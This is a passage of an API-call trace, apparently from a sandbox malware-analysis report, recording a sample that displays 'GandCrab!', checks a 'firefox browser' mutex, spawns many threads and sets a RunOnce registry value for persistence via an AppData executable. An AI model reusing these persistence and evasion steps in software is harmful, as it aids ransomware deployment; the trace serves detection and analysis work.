[0157.821] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x46, wParam=0x0, lParam=0x1f7fef4) returned 0x0 [0157.821] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0157.821] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0157.822] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0xd, wParam=0xff, lParam=0x1f7eb24) returned 0x7 [0157.822] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0157.828] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0157.830] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0157.830] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0157.830] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0157.830] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x14, wParam=0x67010541, lParam=0x0) returned 0x1 [0157.830] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x47, wParam=0x0, lParam=0x1f7fef4) returned 0x0 [0157.830] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x5, wParam=0x0, lParam=0x78) returned 0x0 [0157.830] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x3, wParam=0x0, lParam=0x6d0056) returned 0x0 [0157.830] UpdateWindow (hWnd=0x6014c) returned 1 [0157.830] BeginPaint (in: hWnd=0x6014c, lpPaint=0x1f7fd08 | out: lpPaint=0x1f7fd08) returned 0x67010541 [0157.830] lstrlenW (lpString="GandCrab!") returned 9 [0157.830] TextOutW (hdc=0x67010541, x=5, y=5, lpString="GandCrab!", c=9) returned 1 [0157.830] EndPaint (hWnd=0x6014c, lpPaint=0x1f7fd08) returned 1 [0157.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402d41, lpParameter=0x6014c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a4 [0157.831] CloseHandle (hObject=0x1a4) returned 1 [0157.831] GetMessageW (in: lpMsg=0x1f7ff64, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1f7ff64) returned 1 [0157.831] TranslateMessage (lpMsg=0x1f7ff64) returned 0 [0157.831] DispatchMessageW (lpMsg=0x1f7ff64) returned 0x0 [0157.831] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0157.831] GetMessageW (in: lpMsg=0x1f7ff64, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1f7ff64) returned 1 [0157.831] TranslateMessage (lpMsg=0x1f7ff64) returned 0 [0157.831] DispatchMessageW (lpMsg=0x1f7ff64) returned 0x0 [0157.831] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x46, wParam=0x0, lParam=0x1f7fd34) returned 0x0 [0157.831] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x83, wParam=0x1, lParam=0x1f7fd0c) returned 0x0 [0157.831] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0157.832] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x14, wParam=0xa0100d0, lParam=0x0) returned 0x1 [0157.832] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x47, wParam=0x0, lParam=0x1f7fd34) returned 0x0 [0157.832] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x31f, wParam=0x0, lParam=0x0) returned 0x0 [0157.832] GetMessageW (in: lpMsg=0x1f7ff64, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1f7ff64) returned 1 [0157.832] TranslateMessage (lpMsg=0x1f7ff64) returned 0 [0157.832] DispatchMessageW (lpMsg=0x1f7ff64) returned 0x0 [0157.832] BeginPaint (in: hWnd=0x6014c, lpPaint=0x1f7fcb8 | out: lpPaint=0x1f7fcb8) returned 0xa0100d0 [0157.832] lstrlenW (lpString="GandCrab!") returned 9 [0157.832] TextOutW (hdc=0xa0100d0, x=5, y=5, lpString="GandCrab!", c=9) returned 1 [0157.832] EndPaint (hWnd=0x6014c, lpPaint=0x1f7fcb8) returned 1 [0157.832] GetMessageW (lpMsg=0x1f7ff64, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0157.834] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x7f, wParam=0x1, lParam=0x60) returned 0x0 [0157.836] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x7f, wParam=0x2, lParam=0x60) returned 0x0 [0157.836] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x7f, wParam=0x0, lParam=0x60) returned 0x0 [0157.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a8 [0157.847] DestroyWindow (hWnd=0x6014c) returned 1 [0157.847] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.847] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x46, wParam=0x0, lParam=0x1f7fcb4) returned 0x0 [0157.848] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x47, wParam=0x0, lParam=0x1f7fcb4) returned 0x0 [0157.848] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0157.848] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0157.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac [0157.849] DestroyWindow (hWnd=0x6014c) returned 1 [0157.849] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b0 [0157.849] DestroyWindow (hWnd=0x6014c) returned 1 [0157.849] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b4 [0157.852] DestroyWindow (hWnd=0x6014c) returned 1 [0157.852] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b8 [0157.852] DestroyWindow (hWnd=0x6014c) returned 1 [0157.852] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bc [0157.853] DestroyWindow (hWnd=0x6014c) returned 1 [0157.853] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c0 [0157.854] DestroyWindow (hWnd=0x6014c) returned 1 [0157.854] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c4 [0157.854] DestroyWindow (hWnd=0x6014c) returned 1 [0157.854] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c8 [0157.855] DestroyWindow (hWnd=0x6014c) returned 1 [0157.855] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc [0157.856] DestroyWindow (hWnd=0x6014c) returned 1 [0157.856] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d0 [0157.856] DestroyWindow (hWnd=0x6014c) returned 1 [0157.857] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d4 [0157.857] DestroyWindow (hWnd=0x6014c) returned 1 [0157.857] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d8 [0157.858] DestroyWindow (hWnd=0x6014c) returned 1 [0157.858] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dc [0157.859] DestroyWindow (hWnd=0x6014c) returned 1 [0157.859] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e0 [0157.859] DestroyWindow (hWnd=0x6014c) returned 1 [0157.860] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e4 [0157.860] DestroyWindow (hWnd=0x6014c) returned 1 [0157.860] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e8 [0157.861] DestroyWindow (hWnd=0x6014c) returned 1 [0157.861] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ec [0157.862] DestroyWindow (hWnd=0x6014c) returned 1 [0157.862] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f0 [0157.862] DestroyWindow (hWnd=0x6014c) returned 1 [0157.863] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f4 [0157.863] DestroyWindow (hWnd=0x6014c) returned 1 [0157.863] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f8 [0157.864] DestroyWindow (hWnd=0x6014c) returned 1 [0157.864] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fc [0157.865] DestroyWindow (hWnd=0x6014c) returned 1 [0157.865] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x200 [0157.865] DestroyWindow (hWnd=0x6014c) returned 1 [0157.867] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x204 [0157.868] DestroyWindow (hWnd=0x6014c) returned 1 [0157.868] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x208 [0157.869] DestroyWindow (hWnd=0x6014c) returned 1 [0157.869] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c [0157.869] DestroyWindow (hWnd=0x6014c) returned 1 [0157.870] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x210 [0157.870] DestroyWindow (hWnd=0x6014c) returned 1 [0157.870] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x214 [0157.871] DestroyWindow (hWnd=0x6014c) returned 1 [0157.871] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218 [0157.872] DestroyWindow (hWnd=0x6014c) returned 1 [0157.872] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c [0157.872] DestroyWindow (hWnd=0x6014c) returned 1 [0157.872] NtdllDefWindowProc_W (hWnd=0x6014c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0157.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x220 [0157.873] DestroyWindow (hWnd=0x6014c) returned 1 Thread: id = 191 os_tid = 0x134 [0157.846] SendMessageW (hWnd=0x6014c, Msg=0x2, wParam=0x0, lParam=0x0) returned 0xdeadbeef [0157.886] RtlExitUserThread (Status=0x0) Thread: id = 192 os_tid = 0xb9c [0157.887] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x1a4 [0157.887] GetLastError () returned 0x0 [0157.887] GetLastError () returned 0x0 [0157.887] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x40) returned 0x240000 [0157.888] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x240000, nSize=0x100 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\tubcvd.exe")) returned 0x3a [0157.888] GetTempPathW (in: nBufferLength=0x100, lpBuffer=0x240202 | out: lpBuffer="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\") returned 0x25 [0157.888] lstrlenW (lpString="PRIDUR") returned 6 [0157.888] CryptAcquireContextW (in: phProv=0x25fff3c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25fff3c*=0x59aad8) returned 1 [0157.896] VirtualAlloc (lpAddress=0x0, dwSize=0x7, flAllocationType=0x3000, flProtect=0x40) returned 0x260000 [0157.897] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0157.897] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0157.899] CryptGenRandom (in: hProv=0x59aad8, dwLen=0x6, pbBuffer=0x260000 | out: pbBuffer=0x260000) returned 1 [0157.899] CryptReleaseContext (hProv=0x59aad8, dwFlags=0x0) returned 1 [0157.899] VirtualFree (lpAddress=0x260000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0157.899] GetEnvironmentVariableW (in: lpName="AppData", lpBuffer=0x240202, nSize=0x100 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned 0x25 [0157.899] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe") returned 58 [0157.899] wsprintfW (in: param_1=0x240404, param_2="\"%s\"" | out: param_1="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"") returned 60 [0157.899] lstrlenW (lpString="PRIDURASHKA") returned 11 [0157.899] CryptAcquireContextW (in: phProv=0x25ffea4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25ffea4*=0x59aad8) returned 1 [0157.899] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x40) returned 0x260000 [0157.900] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0157.900] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0157.900] CryptGenRandom (in: hProv=0x59aad8, dwLen=0xb, pbBuffer=0x260000 | out: pbBuffer=0x260000) returned 1 [0157.900] CryptReleaseContext (hProv=0x59aad8, dwFlags=0x0) returned 1 [0157.900] VirtualFree (lpAddress=0x260000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0157.900] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x25fff44, lpdwDisposition=0x0 | out: phkResult=0x25fff44*=0x250, lpdwDisposition=0x0) returned 0x0 [0157.900] lstrlenW (lpString="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"") returned 60 [0157.900] RegSetValueExW (in: hKey=0x250, lpValueName="gwpuolemwaq", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"", cbData=0x78 | out: lpData="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"") returned 0x0 [0157.900] RegCloseKey (hKey=0x250) returned 0x0 [0157.900] RtlExitUserThread (Status=0x0) Thread: id = 193 os_tid = 0x7ac [0157.901] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x250 [0157.901] GetLastError () returned 0xb7 [0157.901] GetLastError () returned 0xb7 [0157.901] RtlExitUserThread (Status=0x0) Thread: id = 194 os_tid = 0x1a4 [0157.902] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x254 [0157.902] GetLastError () returned 0xb7 [0157.902] GetLastError () returned 0xb7 [0157.902] RtlExitUserThread (Status=0x0) Thread: id = 195 os_tid = 0x784 [0157.902] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x258 [0157.902] GetLastError () returned 0xb7 [0157.902] GetLastError () returned 0xb7 [0157.902] RtlExitUserThread (Status=0x0) Thread: id = 196 os_tid = 0x1b4 [0157.903] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x25c [0157.903] GetLastError () returned 0xb7 [0157.903] GetLastError () returned 0xb7 [0157.903] RtlExitUserThread (Status=0x0) Thread: id = 197 os_tid = 0x880 [0157.903] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x260 [0157.904] GetLastError () returned 0xb7 [0157.904] GetLastError () returned 0xb7 [0157.904] RtlExitUserThread (Status=0x0) Thread: id = 198 os_tid = 0x57c [0157.904] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x264 [0157.904] GetLastError () returned 0xb7 [0157.904] GetLastError () returned 0xb7 [0157.904] RtlExitUserThread (Status=0x0) Thread: id = 199 os_tid = 0x7b0 [0157.905] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x268 [0157.905] GetLastError () returned 0xb7 [0157.905] GetLastError () returned 0xb7 [0157.905] RtlExitUserThread (Status=0x0) Thread: id = 200 os_tid = 0x7a0 [0157.905] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x26c [0157.905] GetLastError () returned 0xb7 [0157.905] GetLastError () returned 0xb7 [0157.905] RtlExitUserThread (Status=0x0) Thread: id = 201 os_tid = 0x824 [0157.906] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x270 [0157.906] GetLastError () returned 0xb7 [0157.906] GetLastError () returned 0xb7 [0157.906] RtlExitUserThread (Status=0x0) Thread: id = 202 os_tid = 0x820 [0157.907] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x274 [0157.907] GetLastError () returned 0xb7 [0157.907] GetLastError () returned 0xb7 [0157.907] RtlExitUserThread (Status=0x0) Thread: id = 203 os_tid = 0x75c [0157.907] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x278 [0157.907] GetLastError () returned 0xb7 [0157.907] GetLastError () returned 0xb7 [0157.908] RtlExitUserThread (Status=0x0) Thread: id = 204 os_tid = 0x814 [0157.908] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x27c [0157.908] GetLastError () returned 0xb7 [0157.908] GetLastError () returned 0xb7 [0157.908] RtlExitUserThread (Status=0x0) Thread: id = 205 os_tid = 0x81c [0157.909] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x280 [0157.909] GetLastError () returned 0xb7 [0157.909] GetLastError () returned 0xb7 [0157.909] RtlExitUserThread (Status=0x0) Thread: id = 206 os_tid = 0x838 [0157.909] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x284 [0157.909] GetLastError () returned 0xb7 [0157.909] GetLastError () returned 0xb7 [0157.909] RtlExitUserThread (Status=0x0) Thread: id = 207 os_tid = 0x804 [0157.910] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x288 [0157.910] GetLastError () returned 0xb7 [0157.910] GetLastError () returned 0xb7 [0157.910] RtlExitUserThread (Status=0x0) Thread: id = 208 os_tid = 0x610 [0157.911] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x28c [0157.911] GetLastError () returned 0xb7 [0157.911] GetLastError () returned 0xb7 [0157.911] RtlExitUserThread (Status=0x0) Thread: id = 209 os_tid = 0xbf0 [0157.911] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x290 [0157.911] GetLastError () returned 0xb7 [0157.911] GetLastError () returned 0xb7 [0157.911] RtlExitUserThread (Status=0x0) Thread: id = 210 os_tid = 0xb80 [0157.912] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x294 [0157.912] GetLastError () returned 0xb7 [0157.912] GetLastError () returned 0xb7 [0157.912] RtlExitUserThread (Status=0x0) Thread: id = 211 os_tid = 0x900 [0157.913] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x298 [0157.913] GetLastError () returned 0xb7 [0157.913] GetLastError () returned 0xb7 [0157.913] RtlExitUserThread (Status=0x0) Thread: id = 212 os_tid = 0xbec [0157.913] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x29c [0157.913] GetLastError () returned 0xb7 [0157.913] GetLastError () returned 0xb7 [0157.913] RtlExitUserThread (Status=0x0) Thread: id = 213 os_tid = 0xb5c [0157.914] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2a0 [0157.914] GetLastError () returned 0xb7 [0157.914] GetLastError () returned 0xb7 [0157.914] RtlExitUserThread (Status=0x0) Thread: id = 214 os_tid = 0x7f0 [0157.915] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2a4 [0157.915] GetLastError () returned 0xb7 [0157.915] GetLastError () returned 0xb7 [0157.915] RtlExitUserThread (Status=0x0) Thread: id = 215 os_tid = 0xad4 [0157.915] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2a8 [0157.915] GetLastError () returned 0xb7 [0157.915] GetLastError () returned 0xb7 [0157.915] RtlExitUserThread (Status=0x0) Thread: id = 216 os_tid = 0xad8 [0157.916] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2ac [0157.916] GetLastError () returned 0xb7 [0157.916] GetLastError () returned 0xb7 [0157.916] RtlExitUserThread (Status=0x0) Thread: id = 217 os_tid = 0x8cc [0157.917] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2b0 [0157.917] GetLastError () returned 0xb7 [0157.917] GetLastError () returned 0xb7 [0157.917] RtlExitUserThread (Status=0x0) Thread: id = 218 os_tid = 0x2cc [0157.917] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2b4 [0157.917] GetLastError () returned 0xb7 [0157.917] GetLastError () returned 0xb7 [0157.917] RtlExitUserThread (Status=0x0) Thread: id = 219 os_tid = 0x2e0 [0157.918] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2b8 [0157.918] GetLastError () returned 0xb7 [0157.918] GetLastError () returned 0xb7 [0157.918] RtlExitUserThread (Status=0x0) Thread: 